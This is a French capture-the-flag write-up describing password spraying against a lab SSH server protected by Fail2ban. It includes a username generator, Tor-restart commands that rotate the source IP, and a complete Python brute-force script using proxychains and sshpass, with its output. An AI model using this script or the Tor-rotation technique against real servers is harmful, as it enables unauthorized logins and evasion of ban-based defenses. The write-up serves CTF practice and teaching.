[Writeup: CTF Password Spraying SSH | GCC 3.0 | Catégorie Penetration Testing | [Leslato/FR]

date
solved in time of CTF
reverse category score

Nécessaires

  • Tor
  • Python3
  • sshpass
  • proxychains

Flag

5275e087-d244-4871-aa93-74f4369626c0

Solution détaillée

Le but du challenge est de réussir à se connecter à un serveur SSH via un BruteForce sur l’username, le problème c’est que le serveur est protégé pas un Fail2ban qui nous ban 10 minutes après 10 fail requests.

On nous donne 2 Resource:

  • Le premier est pour voir le mdp des possibles username:

Alt text

  • Le deuxième est le hostname de connexion:

pwspray.vm.vuln.land

Les informations importantes sont du coup:

  • Le mdp : 52c4ad87

  • Le username: user_100000 -> user_100500

Premièrement on va générer tous les possibles username, personnellement j’utilise une commande en python qui me les génère:

┌──(root💀kali)-[~/Desktop/ctf/Pentest_ssh]
└─# python3 -c "print('\nuser_100'.join(['{0:03}'.format(num) for num in range(0, 501)]))" > usernames.txt

┌──(root💀kali)-[~/Desktop/ctf/Pentest_ssh]
└─# cat usernames.txt          
000
user_100001
user_100002
...
...
...
user_100500

La question à présent est: comment on peut sauter la sécurité du fail2ban ?

Comment marche le fail2ban?

Pour fair court il va regarder combien de foix un IP tente de se connecter, si elle déplace les tentatives autoriser à fail2ban va bannir l’IP en question pendant le temps indiquer dans sa configuration (nous c’est 10 minutes et 10 tentatives par IP).

Du coup comment fair pour avoir une IP qui change toutes les 10 tentatives?!

Eh bien on va utiliser le réseau de TOR pour changer notre IP.

Si on lance TOR avec service tor start un de nos ports en localhost (default : 9050) et un proxy sur le réseau de TOR on va donc rediriger not requêtes avec curl sur ce port et vérifier quel est notre IP, puis, restart le service pour regarder si notre IP a changé:

┌──(root💀kali)-[~/Desktop]
└─# service tor start

┌──(root💀kali)-[~/Desktop]
└─# curl --socks5-hostname localhost:9050 https://ifconfig.me/
51.195.103.74

┌──(root💀kali)-[~/Desktop]
└─# service tor restart

┌──(root💀kali)-[~/Desktop]
└─# curl --socks5-hostname localhost:9050 https://ifconfig.me/
54.36.108.162

Notre IP a bien changé on va donc pouvoir Brute force l’username avec le proxy de TOR!

On va utiliser proxychain qui va se connecter au proxy de TOR et sshpass pour pouvoir fair des connexions rapides directement avec le Mdp et sans interaction. J’ai codé un petit script en python3 pour le Brute force:

import os
import time

def main():

        password = '52c4ad87'
        ip = 'pwspray.vm.vuln.land'
        port = 22
        attempts = 9

        f = open('./usernames.txt')
        c = 0
        os.system('service tor restart')
        time.sleep(2)
        for line in f:
                if(c == attempts):
                        c = 0
                        os.system('service tor reload')
                        time.sleep(2)
                        print('[*] Ip changed !')
                print("---------> we are tying: "+line)
                var = 'proxychains sshpass -p ' + password + ' ssh -o StrictHostKeyChecking=no ' + line[:-1] + '@' + ip + ' -p 22'
                print(var+" ---------> c = "+str(c))
                os.system(var)
                c += 1

main()

On lance le script et on attend il va se connecter directement au ssh.

┌──(root💀kali)-[~/Desktop/ctf/Pentest_ssh]
└─# python3 bypass_fail2banSSH.py
---------> we are tying: user_100000

proxychains sshpass -p 52c4ad87 ssh -o StrictHostKeyChecking=no user_100000@pwspray.vm.vuln.land -p 22 ---------> c = 0
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  pwspray.vm.vuln.land:22  ...  OK
-=------- > we are tying: user_100001

proxychains sshpass -p 52c4ad87 ssh -o StrictHostKeyChecking=no user_100001@pwspray.vm.vuln.land -p 22 ---------> c = 1
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  pwspray.vm.vuln.land:22  ...  OK

...
...
...

username: user_100122 GGGG!

Connecte toi et recuper la flag:

Alt text